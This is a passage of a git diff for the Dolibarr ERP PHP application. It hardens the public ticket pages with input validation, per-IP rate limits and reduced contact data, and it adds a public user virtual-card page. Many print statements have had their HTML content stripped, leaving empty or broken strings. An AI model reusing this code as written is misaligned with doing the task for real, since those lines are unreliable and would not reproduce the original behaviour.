'".$db->escape($event->data->object->id)."' and status = ".((int) $servicestatus); diff --git a/htdocs/public/test/test_forms.php b/htdocs/public/test/test_forms.php index acc9151798f..b7ed524e297 100644 --- a/htdocs/public/test/test_forms.php +++ b/htdocs/public/test/test_forms.php @@ -105,6 +105,75 @@ $array = array(1=>'Value 1', 2=>'Value 2', 3=>'Value 3'); $arrayselected = array(1, 3); print $form->multiselectarray('testmulti', $array, $arrayselected, '', 0, 'minwidth100'); +print '

      '."\n"; + +// Test6a: Upload of big files +print "Test 6a: Upload of big files
      \n"; +print "The file will be uploaded in the directory: documents/test/temp/
      \n"; + +if (is_file(DOL_DOCUMENT_ROOT.'/includes/flowjs/flow.js')) { + print ''; + print ' No file selected.'; + print '
      '; + print '
      '; + print ''; + print ''; +} else { + print "If this message displays, please add flow.js and flow.min.js files which can be found here: https://github.com/flowjs/flow.js and place the js lib in htdocs/includes/flowjs/
      \n"; +} + print '
      '; // End of page diff --git a/htdocs/public/ticket/ajax/ajax.php b/htdocs/public/ticket/ajax/ajax.php index 2b637ce3647..b2c3c153f54 100644 --- a/htdocs/public/ticket/ajax/ajax.php +++ b/htdocs/public/ticket/ajax/ajax.php @@ -19,6 +19,9 @@ /** * \file htdocs/public/ticket/ajax/ajax.php * \brief Ajax component for Ticket. + * + * This ajax component is called only by the create ticket public page. And only if TICKET_CREATE_THIRD_PARTY_WITH_CONTACT_IF_NOT_EXIST is set. + * This option TICKET_CREATE_THIRD_PARTY_WITH_CONTACT_IF_NOT_EXIST has been removed because it is a security hole. */ if (!defined('NOTOKENRENEWAL')) { @@ -33,11 +36,10 @@ if (!defined('NOREQUIREAJAX')) { if (!defined('NOREQUIRESOC')) { define('NOREQUIRESOC', '1'); } -// Do not check anti CSRF attack test +// You can get information if module "Agenda" has been enabled by reading the if (!defined('NOREQUIREMENU')) { define('NOREQUIREMENU', '1'); } -// If there is no need to load and show top and left menu if (!defined("NOLOGIN")) { define("NOLOGIN", '1'); } @@ -52,7 +54,16 @@ include_once '../../../main.inc.php'; // Load $user and permissions $action = GETPOST('action', 'aZ09'); $id = GETPOST('id', 'int'); -$email = GETPOST('email', 'alphanohtml'); +$email = GETPOST('email', 'custom', 0, FILTER_VALIDATE_EMAIL); + + +if (!isModEnabled('ticket')) { + httponly_accessforbidden('Module Ticket not enabled'); +} + +if (empty($conf->global->TICKET_CREATE_THIRD_PARTY_WITH_CONTACT_IF_NOT_EXIST)) { + httponly_accessforbidden('Option TICKET_CREATE_THIRD_PARTY_WITH_CONTACT_IF_NOT_EXIST of module ticket is not enabled'); +} /* @@ -71,9 +82,18 @@ if ($action == 'getContacts') { require_once DOL_DOCUMENT_ROOT.'/ticket/class/ticket.class.php'; $ticket = new Ticket($db); - $contacts = $ticket->searchContactByEmail($email); - if (is_array($contacts)) { - $return['contacts'] = $contacts; + $arrayofcontacts = $ticket->searchContactByEmail($email); + if (is_array($arrayofcontacts)) { + $arrayofminimalcontacts = array(); + foreach ($arrayofcontacts as $tmpval) { + $tmpresult = new stdClass(); + $tmpresult->id = $tmpval->id; + $tmpresult->firstname = $tmpval->firstname; + $tmpresult->lastname = $tmpval->lastname; + $arrayofminimalcontacts[] = $tmpresult; + } + + $return['contacts'] = $arrayofminimalcontacts; } else { $return['error'] = $ticket->errorsToString(); } diff --git a/htdocs/public/ticket/create_ticket.php b/htdocs/public/ticket/create_ticket.php index 50f5a8776c2..68cd4eb87d6 100644 --- a/htdocs/public/ticket/create_ticket.php +++ b/htdocs/public/ticket/create_ticket.php @@ -1,6 +1,7 @@ * Copyright (C) 2016 Christophe Battarel + * Copyright (C) 2023 Laurent Destailleur * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -26,9 +27,6 @@ if (!defined('NOREQUIREUSER')) { define('NOREQUIREUSER', '1'); }*/ -if (!defined('NOTOKENRENEWAL')) { - define('NOTOKENRENEWAL', '1'); -} if (!defined('NOREQUIREMENU')) { define('NOREQUIREMENU', '1'); } @@ -60,6 +58,7 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/ticket.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/security.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/payments.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php'; require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php'; require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; @@ -163,8 +162,17 @@ if (empty($reshook)) { // Le premier contact trouvé est utilisé pour déterminer le contact suivi $contacts = $object->searchContactByEmail($origin_email); + // Ensure that contact is active and select first active contact + $cid = -1; + foreach ($contacts as $key => $contact) { + if ((int) $contact->statut == 1) { + $cid = $key; + break; + } + } + // Option to require email exists to create ticket - if (!empty($conf->global->TICKET_EMAIL_MUST_EXISTS) && !$contacts[0]->socid) { + if (!empty($conf->global->TICKET_EMAIL_MUST_EXISTS) && ($cid < 0 || empty($contacts[$cid]->socid))) { $error++; array_push($object->errors, $langs->trans("ErrorEmailMustExistToCreateTicket")); $action = ''; @@ -237,7 +245,9 @@ if (empty($reshook)) { $object->severity_code = GETPOST("severity_code", 'aZ09'); $object->ip = getUserRemoteIP(); - $nb_post_max = getDolGlobalInt("MAIN_SECURITY_MAX_POST_ON_PUBLIC_PAGES_BY_IP_ADDRESS", 1000); + $nb_post_max = getDolGlobalInt("MAIN_SECURITY_MAX_POST_ON_PUBLIC_PAGES_BY_IP_ADDRESS", 200); + $now = dol_now(); + $minmonthpost = dol_time_plus_duree($now, -1, "m"); // Calculate nb of post for IP $nb_post_ip = 0; @@ -245,6 +255,7 @@ if (empty($reshook)) { $sql = "SELECT COUNT(ref) as nb_tickets"; $sql .= " FROM ".MAIN_DB_PREFIX."ticket"; $sql .= " WHERE ip = '".$db->escape($object->ip)."'"; + $sql .= " AND datec > '".$db->idate($minmonthpost)."'"; $resql = $db->query($sql); if ($resql) { $num = $db->num_rows($resql); @@ -310,13 +321,13 @@ if (empty($reshook)) { } } - if (is_array($searched_companies)) { + if (!empty($searched_companies) && is_array($searched_companies)) { $object->fk_soc = $searched_companies[0]->id; } - if (is_array($contacts) and count($contacts) > 0) { - $object->fk_soc = $contacts[0]->socid; - $usertoassign = $contacts[0]->id; + if (is_array($contacts) && count($contacts) > 0 && $cid >= 0) { + $object->fk_soc = $contacts[$cid]->socid; + $usertoassign = $contacts[$cid]->id; } $ret = $extrafields->setOptionalsFromPost(null, $object); @@ -329,7 +340,7 @@ if (empty($reshook)) { if ($nb_post_max > 0 && $nb_post_ip >= $nb_post_max) { $error++; $errors = array($langs->trans("AlreadyTooMuchPostOnThisIPAdress")); - array_push($object->errors, array($langs->trans("AlreadyTooMuchPostOnThisIPAdress"))); + array_push($object->errors, $langs->trans("AlreadyTooMuchPostOnThisIPAdress")); $action = 'create_ticket'; } @@ -501,7 +512,7 @@ $arrayofcss = array('/opensurvey/css/style.css', '/ticket/css/styles.css.php'); llxHeaderTicket($langs->trans("CreateTicket"), "", 0, 0, $arrayofjs, $arrayofcss); -print '
      '; +print '
      '; if ($action != "infos_success") { $formticket->withfromsocid = isset($socid) ? $socid : $user->socid; @@ -534,7 +545,7 @@ if ($action != "infos_success") { print '
      '; // End of page -htmlPrintOnlinePaymentFooter($mysoc, $langs, 1, $suffix, $object); +htmlPrintOnlineFooter($mysoc, $langs, 1, $suffix, $object); llxFooter('', 'public'); diff --git a/htdocs/public/ticket/index.php b/htdocs/public/ticket/index.php index 84652017b37..f97bdd15966 100644 --- a/htdocs/public/ticket/index.php +++ b/htdocs/public/ticket/index.php @@ -80,21 +80,21 @@ $arrayofcss = array('/ticket/css/styles.css.php'); llxHeaderTicket($langs->trans("Tickets"), "", 0, 0, $arrayofjs, $arrayofcss); -print '
      '; +print '
      '; print '

      '.(getDolGlobalString("TICKET_PUBLIC_TEXT_HOME", ''.$langs->trans("TicketPublicDesc")).'

      ').'

      '; print '
      '; print ''; print '
      '; // End of page -htmlPrintOnlinePaymentFooter($mysoc, $langs, 0, $suffix, $object); +htmlPrintOnlineFooter($mysoc, $langs, 0, $suffix, $object); llxFooter('', 'public'); diff --git a/htdocs/public/ticket/list.php b/htdocs/public/ticket/list.php index 3fe6253b879..c0835829e6f 100644 --- a/htdocs/public/ticket/list.php +++ b/htdocs/public/ticket/list.php @@ -62,6 +62,8 @@ $cancel = GETPOST('cancel', 'aZ09'); $track_id = GETPOST('track_id', 'alpha'); $email = strtolower(GETPOST('email', 'alpha')); +$suffix = ""; +$moreforfilter = ""; if (GETPOST('btn_view_ticket_list')) { unset($_SESSION['track_id_customer']); @@ -191,9 +193,8 @@ $arrayofcss = array('/ticket/css/styles.css.php'); llxHeaderTicket($langs->trans("Tickets"), "", 0, 0, $arrayofjs, $arrayofcss); - if ($action == "view_ticketlist") { - print '
      '; + print '
      '; print '
      '; if ($display_ticket_list) { @@ -227,9 +228,10 @@ if ($action == "view_ticketlist") { $search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); $filter = array(); + $param = '&action=view_ticketlist'; if (!empty($entity) && isModEnabled('multicompany')) { - $param .= '&entity='.$entity; + $param .= '&entity='.((int) $entity); } // Definition of fields for list @@ -255,6 +257,9 @@ if ($action == "view_ticketlist") { //'t.statut'=>array('label'=>$langs->trans("Status"), 'checked'=>1, 'position'=>1000), ); + if (empty($conf->global->TICKET_SHOW_PROGRESSION)) + unset($arrayfields['t.progress']); + // Extra fields if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { @@ -338,7 +343,8 @@ if ($action == "view_ticketlist") { $sql .= " t.message,"; $sql .= " t.fk_statut,"; $sql .= " t.resolution,"; - $sql .= " t.progress,"; + if (!empty($conf->global->TICKET_SHOW_PROGRESSION)) + $sql .= " t.progress,"; $sql .= " t.timing,"; $sql .= " t.type_code,"; $sql .= " t.category_code,"; @@ -364,7 +370,7 @@ if ($action == "view_ticketlist") { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."element_contact as ec ON ec.element_id = t.rowid"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_type_contact as tc ON ec.fk_c_type_contact = tc.rowid"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."socpeople sp ON ec.fk_socpeople = sp.rowid"; - if (is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { + if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."ticket_extrafields as ef on (t.rowid = ef.fk_object)"; } $sql .= " WHERE t.entity IN (".getEntity('ticket').")"; @@ -405,7 +411,8 @@ if ($action == "view_ticketlist") { $resql = $db->query($sql); if ($resql) { $num = $db->num_rows($resql); - print_barre_liste($langs->trans('TicketList'), $page, '/public/ticket/list.php', $param, $sortfield, $sortorder, '', $num, $num_total, 'ticket'); + + print_barre_liste($langs->trans('TicketList'), $page, 'list.php', $param, $sortfield, $sortorder, '', $num, $num_total, 'ticket'); // Search bar print '
      '."\n"; @@ -422,6 +429,7 @@ if ($action == "view_ticketlist") { $reshook=$hookmanager->executeHooks('printFieldListHeader', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; + print '
      '; print ''; // Filter bar @@ -466,7 +474,7 @@ if ($action == "view_ticketlist") { print ''; } - if (!empty($arrayfields['t.progress']['checked'])) { + if ((!empty($conf->global->TICKET_SHOW_PROGRESSION)) && !empty($arrayfields['t.progress']['checked'])) { print ''; } @@ -531,7 +539,7 @@ if ($action == "view_ticketlist") { if (!empty($arrayfields['severity.code']['checked'])) { print_liste_field_titre($arrayfields['severity.code']['label'], $url_page_current, 'severity.code', '', $param, '', $sortfield, $sortorder); } - if (!empty($arrayfields['t.progress']['checked'])) { + if ((!empty($conf->global->TICKET_SHOW_PROGRESSION)) && !empty($arrayfields['t.progress']['checked'])) { print_liste_field_titre($arrayfields['t.progress']['label'], $url_page_current, 't.progress', '', $param, '', $sortfield, $sortorder); } if (!empty($arrayfields['t.fk_user_create']['checked'])) { @@ -623,7 +631,7 @@ if ($action == "view_ticketlist") { } // Progression - if (!empty($arrayfields['t.progress']['checked'])) { + if ((!empty($conf->global->TICKET_SHOW_PROGRESSION)) && !empty($arrayfields['t.progress']['checked'])) { print ''; @@ -693,6 +701,8 @@ if ($action == "view_ticketlist") { } print '
      '; print $obj->progress; print '
      '; + print '
      '; + print '
      '; print '
      '; } else { - print '
      '; + print '
      '; print '

      '.$langs->trans("TicketPublicMsgViewLogIn").'

      '; print '
      '; @@ -736,7 +746,7 @@ if ($action == "view_ticketlist") { print '

      '; print '

      '; - print ''; + print ''; print '

      '; print '

      '; @@ -752,7 +762,7 @@ if ($action == "view_ticketlist") { } // End of page -htmlPrintOnlinePaymentFooter($mysoc, $langs, 0, $suffix, $object); +htmlPrintOnlineFooter($mysoc, $langs, 0, $suffix, $object); llxFooter('', 'public'); diff --git a/htdocs/public/ticket/view.php b/htdocs/public/ticket/view.php index bab3c501ca3..12b319b7589 100644 --- a/htdocs/public/ticket/view.php +++ b/htdocs/public/ticket/view.php @@ -63,6 +63,7 @@ $cancel = GETPOST('cancel', 'aZ09'); $track_id = GETPOST('track_id', 'alpha'); $email = GETPOST('email', 'email'); +$suffix = ""; if (GETPOST('btn_view_ticket')) { unset($_SESSION['email_customer']); @@ -205,7 +206,7 @@ if ($action == "view_ticket" || $action == "presend" || $action == "close" || $a $triggersendname = 'TICKET_SENTBYMAIL'; $paramname = 'id'; $autocopy = 'MAIN_MAIL_AUTOCOPY_TICKET_TO'; // used to know the automatic BCC to add -$trackid = 'tic'.$object->id; +if (!empty($object->dao->id)) $trackid = 'tic'.$object->dao->id; include DOL_DOCUMENT_ROOT.'/core/actions_sendmails.inc.php'; @@ -217,6 +218,9 @@ include DOL_DOCUMENT_ROOT.'/core/actions_sendmails.inc.php'; $form = new Form($db); $formticket = new FormTicket($db); +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('ticketpublicview', 'globalcard')); + if (!$conf->global->TICKET_ENABLE_PUBLIC_INTERFACE) { print '

      '.$langs->trans('TicketPublicInterfaceForbidden').'
      '; $db->close(); @@ -228,7 +232,7 @@ $arrayofcss = array('/ticket/css/styles.css.php'); llxHeaderTicket($langs->trans("Tickets"), "", 0, 0, $arrayofjs, $arrayofcss); -print '
      '; +print '
      '; if ($action == "view_ticket" || $action == "presend" || $action == "close" || $action == "confirm_public_close") { if ($display_ticket) { @@ -327,9 +331,14 @@ if ($action == "view_ticket" || $action == "presend" || $action == "close" || $a print ''; // Progression - print ''.$langs->trans("Progression").''; - print ($object->dao->progress > 0 ? dol_escape_htmltag($object->dao->progress) : '0').'%'; - print ''; + if (!empty($conf->global->TICKET_SHOW_PROGRESSION)) { + print ''.$langs->trans("Progression").''; + print ($object->dao->progress > 0 ? dol_escape_htmltag($object->dao->progress) : '0').'%'; + print ''; + } + + // Other attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_view.tpl.php'; print ''; @@ -344,7 +353,7 @@ if ($action == "view_ticket" || $action == "presend" || $action == "close" || $a $formticket->action = "add_message"; $formticket->track_id = $object->dao->track_id; - $formticket->id = $object->dao->id; + $formticket->trackid = 'tic'.$object->dao->id; $formticket->param = array('track_id' => $object->dao->track_id, 'fk_user_create' => '-1', 'returnurl' => DOL_URL_ROOT.'/public/ticket/view.php'.(!empty($entity) && isModEnabled('multicompany')?'?entity='.$entity:'')); @@ -375,7 +384,7 @@ if ($action == "view_ticket" || $action == "presend" || $action == "close" || $a // Close ticket if ($object->dao->fk_statut >= Ticket::STATUS_NOT_READ && $object->dao->fk_statut < Ticket::STATUS_CLOSED) { - print ''; + print ''; } } @@ -389,10 +398,11 @@ if ($action == "view_ticket" || $action == "presend" || $action == "close" || $a print ''; } } else { - print '
      '.$langs->trans("TicketPublicMsgViewLogIn").'
      '; + print '
      '.$langs->trans("TicketPublicMsgViewLogIn").'
      '; print '
      '; print ''; + print ''; print ''; @@ -401,7 +411,7 @@ if ($action == "view_ticket" || $action == "presend" || $action == "close" || $a print '

      '; print '

      '; - print ''; + print ''; print '

      '; print '

      '; @@ -417,7 +427,7 @@ if ($action == "view_ticket" || $action == "presend" || $action == "close" || $a print "

      "; // End of page -htmlPrintOnlinePaymentFooter($mysoc, $langs, 0, $suffix, $object); +htmlPrintOnlineFooter($mysoc, $langs, 0, $suffix, $object); llxFooter('', 'public'); diff --git a/htdocs/public/users/view.php b/htdocs/public/users/view.php new file mode 100644 index 00000000000..53bc597aaa9 --- /dev/null +++ b/htdocs/public/users/view.php @@ -0,0 +1,481 @@ + + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/public/users/view.php + * \ingroup user + * \brief Public file to user profile + */ + +if (!defined('NOLOGIN')) { + define("NOLOGIN", 1); // This means this output page does not require to be logged. +} +if (!defined('NOCSRFCHECK')) { + define("NOCSRFCHECK", 1); // We accept to go on this page from external web site. +} +if (!defined('NOIPCHECK')) { + define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip +} +if (!defined('NOBROWSERNOTIF')) { + define('NOBROWSERNOTIF', '1'); +} + +// Load Dolibarr environment +require '../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/security.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/vcard.class.php'; + +// Load translation files required by the page +$langs->loadLangs(array("companies", "other", "recruitment")); + +// Get parameters +$action = GETPOST('action', 'aZ09'); +$mode = GETPOST('mode', 'aZ09'); +$cancel = GETPOST('cancel', 'alpha'); +$backtopage = ''; + +$id = GETPOST('id', 'int'); +$securekey = GETPOST('securekey', 'alpha'); +$suffix = GETPOST('suffix'); + +$object = new User($db); +$object->fetch($id, '', '', 1); + +// Define $urlwithroot +//$urlwithouturlroot=preg_replace('/'.preg_quote(DOL_URL_ROOT,'/').'$/i','',trim($dolibarr_main_url_root)); +//$urlwithroot=$urlwithouturlroot.DOL_URL_ROOT; // This is to use external domain name found into config file +$urlwithroot = DOL_MAIN_URL_ROOT; // This is to use same domain name than current. For Paypal payment, we can use internal URL like localhost. + +// Security check +global $dolibarr_main_instance_unique_id; +$encodedsecurekey = dol_hash($dolibarr_main_instance_unique_id.'uservirtualcard'.$object->id.'-'.$object->login, 'md5'); +if ($encodedsecurekey != $securekey) { + httponly_accessforbidden('Bad value for securitykey or public profile not enabled'); +} + +if (!getDolUserInt('USER_ENABLE_PUBLIC', 0, $object)) { + httponly_accessforbidden('Bad value for securitykey or public profile not enabled'); +} + + +/* + * Actions + */ + +if ($cancel) { + if (!empty($backtopage)) { + header("Location: ".$backtopage); + exit; + } + $action = 'view'; +} + + +/* + * View + */ + +$form = new Form($db); +$v = new vCard(); + +$company = $mysoc; + +$modulepart = 'userphotopublic'; +$dir = $conf->user->dir_output; + +// Show logo (search order: logo defined by ONLINE_SIGN_LOGO_suffix, then ONLINE_SIGN_LOGO_, then small company logo, large company logo, theme logo, common logo) +// Define logo and logosmall +$logo = ''; +$logosmall = ''; +if (!empty($object->photo)) { + if (dolIsAllowedForPreview($object->photo)) { + $logosmall = get_exdir(0, 0, 0, 0, $object, 'user').'photos/'.getImageFileNameForSize($object->photo, '_small'); + $logo = get_exdir(0, 0, 0, 0, $object, 'user').'photos/'.$object->photo; + //$originalfile = get_exdir(0, 0, 0, 0, $object, 'user').'photos/'.$object->photo; + } +} +//print ''."\n"; +// Define urllogo +$urllogo = ''; +$urllogofull = ''; +if (!empty($logosmall) && is_readable($dir.'/'.$logosmall)) { + $urllogo = DOL_URL_ROOT.'/viewimage.php?modulepart='.$modulepart.($conf->entity > 1 ? '&entity='.$conf->entity : '').'&securekey='.urlencode($securekey).'&file='.urlencode($logosmall); + $urllogofull = $dolibarr_main_url_root.'/viewimage.php?modulepart='.$modulepart.($conf->entity > 1 ? '&entity='.$conf->entity : '').'&securekey='.urlencode($securekey).'&file='.urlencode($logosmall); +} elseif (!empty($logo) && is_readable($dir.'/'.$logo)) { + $urllogo = DOL_URL_ROOT.'/viewimage.php?modulepart='.$modulepart.($conf->entity > 1 ? '&entity='.$conf->entity : '').'&securekey='.urlencode($securekey).'&file='.urlencode($logo); + $urllogofull = $dolibarr_main_url_root.'/viewimage.php?modulepart='.$modulepart.($conf->entity > 1 ? '&entity='.$conf->entity : '').'&securekey='.urlencode($securekey).'&file='.urlencode($logo); +} + +// Clean data we don't want on public page +if (getDolUserInt('USER_PUBLIC_HIDE_PHOTO', 0, $object)) { + $logo = ''; + $logosmall = ''; + $urllogo = ''; + $urllogofull = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_JOBPOSITION', 0, $object)) { + $object->job = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_EMAIL', 0, $object)) { + $object->email = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_EMAIL', 0, $object)) { + $object->job = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_OFFICE_PHONE', 0, $object)) { + $object->office_phone = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_OFFICE_FAX', 0, $object)) { + $object->office_fax = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_USER_MOBILE', 0, $object)) { + $object->user_mobile = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_BIRTH', 0, $object)) { + $object->birth = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_SOCIALNETWORKS', 0, $object)) { + $object->socialnetworks = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_ADDRESS', 0, $object)) { + $object->address = ''; + $object->town = ''; + $object->zip = ''; + $object->state = ''; + $object->country = ''; +} +if (getDolUserInt('USER_PUBLIC_HIDE_COMPANY', 0, $object)) { + $company = null; +} + + +// Output vcard +if ($mode == 'vcard') { + // We create VCard + $output = $v->buildVCardString($object, $company, $langs, $urllogofull); + + $filename = trim(urldecode($v->getFileName())); // "Nom prenom.vcf" + $filenameurlencoded = dol_sanitizeFileName(urlencode($filename)); + //$filename = dol_sanitizeFileName($filename); + + top_httphead('text/vcard; name="'.$filename.'"'); + + header("Content-Disposition: attachment; filename=\"".$filename."\""); + header("Content-Length: ".dol_strlen($output)); + header("Connection: close"); + + print $output; + + $db->close(); + + exit; +} + +$head = ''; +if (!empty($conf->global->MAIN_USER_PROFILE_CSS_URL)) { + $head = ''."\n"; +} + +$conf->dol_hide_topmenu = 1; +$conf->dol_hide_leftmenu = 1; + +if (!getDolUserInt('USER_ENABLE_PUBLIC', 0, $object)) { + $langs->load("errors"); + print '
      '.$langs->trans('ErrorPublicInterfaceNotEnabled').'
      '; + $db->close(); + exit(); +} + +$arrayofjs = array(); +$arrayofcss = array(); + +$replacemainarea = (empty($conf->dol_hide_leftmenu) ? '
      ' : '').'
      '; +llxHeader($head, $object->getFullName($langs).' - '.$langs->trans("PublicVirtualCard"), '', '', 0, 0, '', '', '', 'onlinepaymentbody'.(GETPOST('mode')=='preview' ? ' scalepreview cursorpointer virtualcardpreview' : ''), $replacemainarea, 1, 1); + +print ''."\n"; +print '
      '."\n"; +print ''."\n"; +print ''."\n"; +print ''."\n"; +print ''."\n"; +print ''; +print "\n"; +print ''."\n"; + +// Output html code for logo +print '
      '; +print '
      '; + +// Name +print '
      '.$object->getFullName($langs).'
      '; +// User position +if ($object->job && !getDolUserInt('USER_PUBLIC_HIDE_JOBPOSITION', 0, $object)) { + print '
      '; + print dol_escape_htmltag($object->job); + print '
      '; +} +if (!getDolUserInt('USER_PUBLIC_HIDE_COMPANY', 0, $object)) { + print '
      '; + print dol_escape_htmltag($mysoc->name); + print '
      '; +} + + + +print '
      '; +/*if (empty($conf->global->MAIN_HIDE_POWERED_BY)) { + print ''; +}*/ +print '
      '; + + +if (!empty($conf->global->USER_IMAGE_PUBLIC_INTERFACE)) { + print '
      '; + print ''; + print '
      '; +} + +$urlforqrcode = $object->getOnlineVirtualCardUrl('vcard'); + +$socialnetworksdict = getArrayOfSocialNetworks(); + + + +// Show barcode +$showbarcode = GETPOST('nobarcode') ? 0 : 1; +if ($showbarcode) { + $qrcodecontent = $output = $v->buildVCardString($object, $company, $langs); + + print '
      '; + print '
      '; + print ''; + print '
      '; + print '
      '; +} + + +// Me +// Show photo +if ($urllogo) { + print ''; +} + + +$usersection = ''; + +// User email +if ($object->email && !getDolUserInt('USER_PUBLIC_HIDE_EMAIL', 0, $object)) { + $usersection .= '
      '; + $usersection .= dol_print_email($object->email, 0, 0, 1, 0, 1, 1); + $usersection .= '
      '; +} + +// User url +if ($object->url && !getDolUserInt('USER_PUBLIC_HIDE_URL', 0, $object)) { + $usersection .= '
      '; + $usersection .= img_picto('', 'globe', 'class="pictofixedwidth"'); + $usersection .= dol_print_url($object->url, '_blank', 0, 0, ''); + $usersection .= '
      '; +} + +// User phone +if ($object->office_phone && !getDolUserInt('USER_PUBLIC_HIDE_OFFICE_PHONE', 0, $object)) { + $usersection .= '
      '; + $usersection .= img_picto('', 'phone', 'class="pictofixedwidth"'); + $usersection .= dol_print_phone($object->office_phone, $object->country_code, 0, $mysoc->id, 'tel', ' ', 0, ''); + $usersection .= '
      '; +} +if ($object->office_fax && !getDolUserInt('USER_PUBLIC_HIDE_OFFICE_FAX', 0, $object)) { + $usersection .= '
      '; + $usersection .= img_picto('', 'phoning_fax', 'class="pictofixedwidth"'); + $usersection .= dol_print_phone($object->office_fax, $object->country_code, 0, $mysoc->id, 'fax', ' ', 0, ''); + $usersection .= '
      '; +} +if ($object->user_mobile && !getDolUserInt('USER_PUBLIC_HIDE_USER_MOBILE', 0, $object)) { + $usersection .= '
      '; + $usersection .= img_picto('', 'phone', 'class="pictofixedwidth"'); + $usersection .= dol_print_phone($object->user_mobile, $object->country_code, 0, $mysoc->id, 'tel', ' ', 0, ''); + $usersection .= '
      '; +} + +// Social networks +if (!empty($object->socialnetworks) && is_array($object->socialnetworks) && count($object->socialnetworks) > 0) { + if (!getDolUserInt('USER_PUBLIC_HIDE_SOCIALNETWORKS', 0, $object)) { + foreach ($object->socialnetworks as $key => $value) { + if ($value) { + $usersection .= '
      '.dol_print_socialnetworks($value, 0, $mysoc->id, $key, $socialnetworksdict).'
      '; + } + } + } +} + +if ($usersection) { + print ''."\n"; + + // Output payment summary form + print ''."\n"; + + print '
      '; + + print '
      '; + + print $usersection; + + print '
      '."\n"; + print "\n"; + + print '
      '."\n"; +} + + +if (!getDolUserInt('USER_PUBLIC_HIDE_COMPANY', 0, $object)) { + $companysection = ''; + + if ($mysoc->email) { + $companysection .= '
      '; + $companysection .= img_picto('', 'email', 'class="pictofixedwidth"'); + $companysection .= dol_print_email($mysoc->email, 0, 0, 1); + $companysection .= '
      '; + } + + if ($mysoc->url) { + $companysection .= '
      '; + $companysection .= img_picto('', 'globe', 'class="pictofixedwidth"'); + $companysection .= dol_print_url($mysoc->url, '_blank', 0, 0, ''); + $companysection .= '
      '; + } + + if ($mysoc->phone) { + $companysection .= '
      '; + $companysection .= img_picto('', 'phone', 'class="pictofixedwidth"'); + $companysection .= dol_print_phone($mysoc->phone, $mysoc->country_code, 0, $mysoc->id, 'tel', ' ', 0, ''); + $companysection .= '
      '; + } + if ($mysoc->fax) { + $companysection .= '
      '; + $companysection .= img_picto('', 'phoning_fax', 'class="pictofixedwidth"'); + $companysection .= dol_print_phone($mysoc->fax, $mysoc->country_code, 0, $mysoc->id, 'fax', ' ', 0, ''); + $companysection .= '
      '; + } + + // Social networks + if (!empty($mysoc->socialnetworks) && is_array($mysoc->socialnetworks) && count($mysoc->socialnetworks) > 0) { + foreach ($mysoc->socialnetworks as $key => $value) { + if ($value) { + $companysection .= '
      '.dol_print_socialnetworks($value, 0, $mysoc->id, $key, $socialnetworksdict).'
      '; + } + } + } + + // Show logo (search order: logo defined by ONLINE_SIGN_LOGO_suffix, then ONLINE_SIGN_LOGO_, then small company logo, large company logo, theme logo, common logo) + // Define logo and logosmall + $logosmall = $mysoc->logo_squarred_small ? $mysoc->logo_squarred_small : $mysoc->logo_small; + $logo = $mysoc->logo_squarred ? $mysoc->logo_squarred : $mysoc->logo; + $paramlogo = 'ONLINE_USER_LOGO_'.$suffix; + if (!empty($conf->global->$paramlogo)) { + $logosmall = $conf->global->$paramlogo; + } elseif (!empty($conf->global->ONLINE_USER_LOGO)) { + $logosmall = $conf->global->ONLINE_USER_LOGO; + } + //print ''."\n"; + // Define urllogo + $urllogo = ''; + $urllogofull = ''; + if (!empty($logosmall) && is_readable($conf->mycompany->dir_output.'/logos/thumbs/'.$logosmall)) { + $urllogo = DOL_URL_ROOT.'/viewimage.php?modulepart=mycompany'.($conf->entity > 1 ? '&entity='.$conf->entity : '').'&file='.urlencode('logos/thumbs/'.$logosmall); + $urllogofull = $dolibarr_main_url_root.'/viewimage.php?modulepart=mycompany'.($conf->entity > 1 ? '&entity='.$conf->entity : '').'&file='.urlencode('logos/thumbs/'.$logosmall); + } elseif 